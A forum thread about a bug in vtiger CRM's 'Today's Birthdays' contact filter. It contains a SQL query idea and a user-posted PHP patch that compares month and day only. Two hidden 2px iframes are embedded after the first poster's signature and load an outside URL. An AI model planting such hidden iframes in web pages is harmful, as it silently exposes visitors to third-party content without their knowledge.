Design Flaw / Bug in CONTACT Filter "Todays Birthdays&q

Hi,
Surely I cannot be the only one who noticed this, or like me, has no-one tried using this filter in CONTACTS before ?

When you do a search using this filter, I was expecting to see any one whoose birthday was today (ie 10 Aug) regardless of the year. BUT when looking into the SQL trace, what is actually being searched for is literally "Todays Birthday" - ie 10 Aug 2007 !!

So, 2 issues here,
1 - I bet it 100% that no-one will need to create a contact whoose birthday is actually "today", and
2 - you can only enter a birthday in past (ie "Yesterday") anyway.

So, what you really need is a string search, ie "select * from vtiger_contactdetails where birthdate like '%-08-10';"

Is this possible ? Otherwise what is the point in this filter ?!?!

Rob <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 8 Comments sorted by Votes Date Added
  • i agree. it would be very very useful to do a report of whose birthday is is for any give day regardless of their birth year.

    greg
  • is this being addressed in 5.04?
  • hi rob,

    thanks for pointing out the feature which is really helpful. i have reported the issue on trac. please refer to the following link for the details:

    <!-- m --><a class="postlink" href="http://trac.vtiger.com/cgi-bin/trac.cgi/ticket/4403">http://trac.vtiger.com/cgi-bin/trac.cgi/ticket/4403</a><!-- m -->

    we shall address it soon.
  • nice one - thanks asha,
    it's only a minor thing, but nice to have have if you want to email your clients and wish them happy birthday !!

    rob
  • this might be a fix at customview.php

    look arround line 894 look for:

    if($startdate != "" && $enddate != "")
    {
    $columns = explode(":",$filtercolumn);

    $stdfiltersql = $columns[0].".".$columns[1]." between '".$startdate." 00:00:00' and '".$enddate." 23:59:00'";
    }
    }
    return $stdfiltersql;


    replace it by:


    if($startdate != "" && $enddate != "")
    {
    $columns = explode(":",$filtercolumn);
    if ($columns[1] != 'birthday')
    $stdfiltersql = $columns[0].".".$columns[1]." between '".$startdate." 00:00:00' and '".$enddate." 23:59:00'";
    else
    $stdfiltersql = "date_format(".$columns[0].".".$columns[1].", '%m%d') between date_format('".$startdate."', '%m%d') and date_format('".$enddate."', '%m%d')";


    }
    }
    return $stdfiltersql;
  • hey balduin,
    top marks - that works a treat !!
    nice one

    rob
  • is this issues also fixed in reports? i just installed 5.2 and still in report filter can't pick this months birthdays but try to compare the complete date
Sign In or Register to comment.